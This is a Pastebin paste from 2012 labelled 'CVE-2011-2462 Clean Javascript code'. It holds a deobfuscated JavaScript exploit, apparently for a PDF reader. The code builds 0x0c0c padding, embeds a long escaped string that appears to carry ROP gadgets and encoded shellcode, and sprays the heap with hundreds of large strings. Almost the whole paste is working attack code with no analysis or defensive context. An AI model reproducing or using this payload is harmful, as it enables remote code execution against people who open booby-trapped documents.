daily pastebin goal
41%
SHARE
TWEET

CVE-2011-2462 Clean Javascript code

a guest Jan 11th, 2012 461 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. function pad_builder() {
  2.   //fillers
  3.   var padding_0c = "%u0c0c%u0c0c";
  4.   var padding00="%u0000";
  5.   var padding_41 = "%u4141";
  6.  
  7.   //holders
  8.   var padding6 = "";
  9.   var padding10 = "";
  10.   var padding18 = "";
  11.   var padding2 = "";
  12.  
  13.   //iterators
  14.   var x1=0;
  15.   var x2=0;
  16.   var x3=0;
  17.   var x4=0;
  18.  
  19.   //builders
  20.   while(x1<6) {
  21.     padding6 += padding_41;
  22.     x1 = x1+1;
  23.   }
  24.  
  25.   while(x2<10) {
  26.     padding10 += padding_41;
  27.     x2 = x2+1;
  28.   }
  29.  
  30.   while(x3<18) {
  31.     padding18 += padding_41;
  32.     x3 = x3+1;
  33.   }
  34.  
  35.   while(x4<2) {
  36.     padding2 += padding_41;
  37.     x4 = x4+1;
  38.   }
  39.  
  40.   //assemble the pads!
  41.   var combo = padding6 + "%u53c3%u4a84" + padding10 + padding_0c + padding2 + padding_0c + padding2 + padding_0c + padding18 + "%u00d0%u0001" + padding6 + padding_0c;
  42.   var padding = unescape( combo );
  43.   while(padding.length<65536) {
  44.     padding = padding+padding;
  45.   }
  46.  
  47.   return padding;
  48. }
  49.  
  50. function spray_heap946() {
  51.   bbb = "%u4141%u4141%u0c0c%u0c0c%u0c0c%u0c0c%u6f29%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u6f29%u4a80%u6cef%u4a80%u1064%u4a80%u0000%u0000%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u6f29%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%u63a5%u4a80%u1064%u4a80%uffff%uffff%u6cef%u4a80%u0000%u0000%u0000%u0001%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u0000%u0000%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000%u9090%ufc81%u0000%u5858%u1677%ufc81%u0000%u0c0c%u0777%ue089%ue883%u8b04%u9000%u8390%u34c0%u04eb%ub866%u0059%uc933%ub966%u0700%u3480%u9708%ufae2%uc083%uff01%uc2e0%u7b1c%u7b16%u90a7%u9797%uc1c4%u50c0%u57d2%u9796%u9797%ud250%u9723%u9797%u5097%u3bd2%u9797%u9797%ud250%u1737%u9797%u5097%u8312%u686a%u9768%u9797%u7e97%u92e8%u9797%uf3c8%ua736%u9797%u1c97%u9bd7%ue71c%u3a8b%ucf1c%u1c9f%uabe4%ue31c%uc789%u6916%u3797%u9790%ub6e0%u9b29%u9b9b%u1c9b%u16a1%u9771%u6897%uf168%u891c%u16f1%uda6c%u1ccd%ue349%u169f%u9779%u9697%u7c97%u1c7b%ufd60%uce99%u447f%u9793%u7597%u1c6e%u1e90%ud712%u6869%u1468%u9350%u901c%u121e%u69ab%u6868%u5014%u1c93%u1e90%uaf12%u6869%u1468%u9350%u901c%u121e%u69a3%u6868%u5014%u1c93%u1e90%ua712%u6869%u1468%u9350%u901c%u121e%u69bb%u6868%u5014%u1c93%u1e90%ubf12%u6869%u1468%u9350%u901c%u121e%u69b3%u6868%u5014%u1e93%ub72a%u6869%u9468%ua32a%u6869%u1e68%u8b2a%u6869%uff68%u9717%u9797%u121a%u69d3%u6868%ufdc7%u6897%u5fc2%u2a1a%u6a0b%u6868%u1cd8%u8b22%u6869%ud168%u1dd0%u1f91%u1790%ub2a9%u62e2%u9051%uff97%u8797%u9797%u1a1a%u6a8f%u6868%u1ac6%u0b02%u686a%uc568%uc268%u1e5b%u0f12%u686a%u1a68%u8f2a%u686a%u9468%u0f2a%u686a%u5168%ucb90%ud9d1%ud1d8%u1dd0%u1f91%u1790%u97a9%u62e2%u97fd%ud21c%uc723%uc268%uae4f%ud712%u6869%ue368%u1491%u23d2%u7c93%ufd7e%ufd97%u1c97%ubf1a%u6869%uc668%uc21c%uc523%uc268%ufd4b%uff97%u9717%u9797%u95fd%u97fd%u95fd%u97ff%u9797%u1a57%u8f12%u686a%uc768%uc268%u1e77%u2bd2%u1250%u6a83%u6868%u9797%u9797%u1a1c%u69ab%u6868%uda1e%u1c0f%uab02%u6869%u5668%u9d7d%u02ae%u6a83%u6868%u1498%u9711%u9797%u97fd%ud21a%uc73f%u97ff%u9793%u1a97%u831a%u686e%uc668%uc21c%uc523%uc268%u5073%u0bd2%u9797%u9797%u9e7c%ud21c%u140b%u9657%ud21e%u160b%u0bea%u9397%u9797%ub1e4%uda1c%u980b%u0329%u839a%u686e%ua468%u0fc2%ud21c%u1f0b%u9203%u6e83%u6868%uda1c%ubc0f%u0fda%u6614%u1e85%u0fda%u5f7c%u97fd%uc21a%uc533%ud21c%uc73f%u1a1a%u6e83%u6868%u1cc6%u2bc2%u68c5%u7fc2%u121c%u6a83%u6868%u5714%u1e96%u8312%u686a%u7e68%u68f2%u6868%u1a1c%u6a83%u6868%u7656%u1c9d%uab02%u6869%ubc68%u1246%u9845%u1b13%u9797%ufd97%u1a97%u3fd2%u1cc7%u831a%u686a%u5668%u9d76%u021c%u69ab%u6868%u46bc%u1ac5%u8312%u686e%uc768%uda1c%uc623%uc268%u5073%u0bd2%u9797%u9797%u9e7c%uc21c%u140b%u9655%uc21e%u1c0b%u8312%u686a%u5668%u9d77%u1a1c%u69ab%u6868%u5fbc%udaae%ue40b%u1cb1%u0bc2%u2998%u8213%u6e83%u6868%ud2a4%u1c0f%u0bda%u131f%u839a%u686e%u1c68%u0fc2%uc2bc%u140f%u8565%uc21e%u7c0f%ufd2c%u1a97%u33d2%u1cc7%u3fda%u1ac6%u8302%u686e%uc568%ud21c%uc72b%uc268%u1c7f%u2bda%u68c6%u7bc2%u2a1a%u6943%u6868%u57a4%u862e%u9797%u6597%u1a3c%u8f2a%u6868%ud868%u9051%ud0b5%ua817%ue297%u516d%ub590%u51d0%u9790%u021a%u6953%u6868%u1ac5%u4312%u6869%uc768%u97fd%u97fd%u97fd%u97fd%u97fd%u97fd%u1a1a%u6a8f%u6868%ufdc6%u6897%u63c2%uc21c%uc52b%uc268%u1a7b%u8f12%u6868%uc768%uda1c%uc637%uc268%u1a67%u8f2a%u6868%ud868%u17d0%u97a8%u6de2%u221c%u69b7%u6868%u1a1c%u69a3%u6868%u3365%u97fd%u97fd%u021c%u69b3%u6868%u1cc5%u23d2%u68c7%u4bc2%u97fd%u17ff%u9797%ufd97%ufd95%ufd97%uff95%u9797%u5797%u1a1a%u688f%u6868%u68c6%u77c2%ud21e%u502f%u8312%u686a%u9768%u9797%u1c97%uaf02%u6869%u5668%u9d7d%u02ae%u6a83%u6868%ueae4%u97fd%ud21a%uc73f%u97ff%u9793%u1a97%u831a%u686e%uc668%uc21c%uc523%uc268%u5073%u0bd2%u9797%u9797%u9e7c%ud21c%u140b%u9657%ud21e%u160b%u0bea%u9397%u9797%u8ae4%uda1c%u980b%u0329%u839a%u686e%u1668%u0065%u9797%u1c97%u0bd2%u031f%u8392%u686e%u7c68%ufd46%u1a97%u33da%u1cc6%u3fc2%u1ac5%u8312%u686e%uc768%uda1c%uc62f%uc268%u1c7f%u8302%u686a%u1468%u9655%u021e%u6a83%u6868%ue57e%u6868%u1c68%u8312%u686a%u5668%u9d77%u1a1c%u69af%u6868%u5fbc%u5e12%u1398%u9714%u9797%u97fd%uc21a%uc53f%u121c%u6a83%u6868%u7756%u1c9d%uaf1a%u6869%ubc68%uc65f%u021a%u6e83%u6868%u1cc5%u23d2%u68c7%u73c2%ud250%u970b%u9797%u7c97%u1c9e%u0bda%u5614%u1e96%u0bda%u021c%u6a83%u6868%u7556%u1c9d%uaf12%u6869%ubc68%uae55%u0bd2%u8ae4%uda1c%u980b%u0329%u839a%u686e%u1668%u0065%u9797%u1c97%u0bd2%u031f%u8392%u686e%u7c68%ufd53%u1a97%u33da%u1cc6%u3fc2%u1ac5%u8312%u686e%uc768%uda1c%uc62f%uc268%u1c7f%u2fc2%u68c5%u7bc2%u2a1a%u6943%u6868%u57a4%u862e%u9797%u6597%u1a3c%ud32a%u6869%ud868%u17d0%u97a8%u6de2%u9017%ud0b7%u9051%u1ab5%u8f22%u6868%ud968%ud1d0%u891d%u881f%ua917%ue297%u5162%ub590%u51d0%u9790%u121a%u6953%u6868%u1ac7%u431a%u6869%uc668%u97fd%u97fd%u97fd%u97fd%u97fd%u97fd%u021a%u69d3%u6868%ufdc5%u6897%u63c2%ud21c%uc723%uc268%u687b%u6fc2%ud21e%ufd27%u1c97%u27da%u68c6%u6bc2%uc1c6%ue41c%u1cab%u89e3%u94ef%uc164%ue11c%u94b7%ua464%uc45e%ud6de%ucc3a%u5494%ua4c4%u984c%u8729%u41ad%u9fe3%u5c56%u9490%ud74d%u667c%u88ac%u72e2%uc9cd%uc91c%u94b3%uf14d%u9b1c%u1cdc%u8bc9%u4d94%u931c%u941c%uc055%u2a1a%u6853%u6868%uda1c%u1457%u9350%u6c75%uc83c%u5014%u1c93%uc94d%u68ce%u57d2%u7f54%u6deb%u6868%u387a%u2368%ufd09%u7bde%ue3a5%u9b06%u4812%u2c38%u8419%u3b9d%u29d4%u4c3b%ua504%u0373%ua125%u8498%u1a53%ue388%uf1c0%u689a%u75ae%u14ea%u2b5e%ufc31%u712c%uadb8%u6518%uf68f%ua374%u9793%u0b97%u9797%uedb8%u9794%u97be%u9797%u89f9%u9797%u9782%u9797%u9ffe%u9797%u33fe%u9797%uf6da%uc3f9%uf4f2%ub7ff%ufad2%ufbe7%ueef8%uf2f2%uc4b7%ue3f6%ue4fe%uf6f1%ue3f4%uf8fe%ub7f9%ue2c4%ue1e5%ueef2%ue7b9%uf1f3%ub297%uf2e3%ue7fa%ucbb2%ub9b9%uf4cb%uf1e3%uf8fa%ub9f9%ueff2%u97f2%u9b97%u9b9b%u9b9b%u9b9b%u9b9b%u9b9b%u9b9b%u9b9b%u9b9b%u9b9b%u9b9b%u9b9b%u9b9b%u9b9b%u9b9b%u9b9b%u9b9b%u9b9b%u9b9b%u9b9b%u9b9b%u9b9b%u9b9b%u9b9b%u9b9b%u9b9b%u9b9b%u9b9b%u9b9b%u9b9b%u9b9b%u9b9b%u9b9b%u9b9b%u9b9b%u9b9b%u9b9b%u9b9b%u9b9b%u9b9b%u9b9b%u9b9b%u9b9b%u9b9b%u9b9b%u9b9b%u9b9b%u9b9b%u9b9b%u9b9b%u9b9b%u9b9b%u9b9baaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; //zy946() needs to be unescaped
  52.   bbb = unescape(bbb);
  53.   ccc = "%u0c0c"; //xxyyzz()
  54.   ccc = unescape(ccc);
  55.   ccc += ccc;
  56.   while (ccc.length + 28 < 65536) { // xxxyyyzzz();
  57.     ccc += ccc;
  58.   }
  59.   ddd = ccc.substring(0, 1524); //xxxxyyyyzzzz();
  60.   ddd += bbb; //xxxxxyyyyyzzzzz();
  61.   ddd += ccc; //xxxxxxyyyyyyzzzzzz();
  62.  
  63.   eee = ddd.substring(0, 32768); //xxxxxxxyyyyyyyzzzzzzz();
  64.  
  65.   for(;eee.length < 524288;) { //xxxxxxxxyyyyyyyyzzzzzzzz();
  66.     eee += eee;
  67.   }
  68.  
  69.   fff = eee.substring(0, 522228); //xxxxxxxxxyyyyyyyyyzzzzzzzzz();
  70.   ggg = new Array(); //zzzzzzzzzzz();
  71.   for (hhh = 0; hhh< 496; hhh++) { //zzzzzzzzzzzz();
  72.     ggg[hhh] = fff + "s";
  73.   }
  74. }
  75.  
  76. function spray(padding) {
  77.   var i;
  78.   var pointersA = unescape('%u4141');
  79.   var x = new Array();
  80.   for (i = 0; i < 2000; i++) {
  81.     x[i] = padding.substr(0,1)+ pointersA;
  82.     x[i] = padding.substr(0,65) + pointersA;
  83.     x[i] = padding.substr(0,65) + pointersA;
  84.     x[i] = padding.substr(0,65) + pointersA;
  85.   }
  86. };
  87.  
  88. var bbb,ccc,ddd,eee,fff,ggg,hhh;
  89. var padding = pad_builder();
  90. spray_heap946();
  91. spray(padding);
  92. this.pageNum = 1;
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top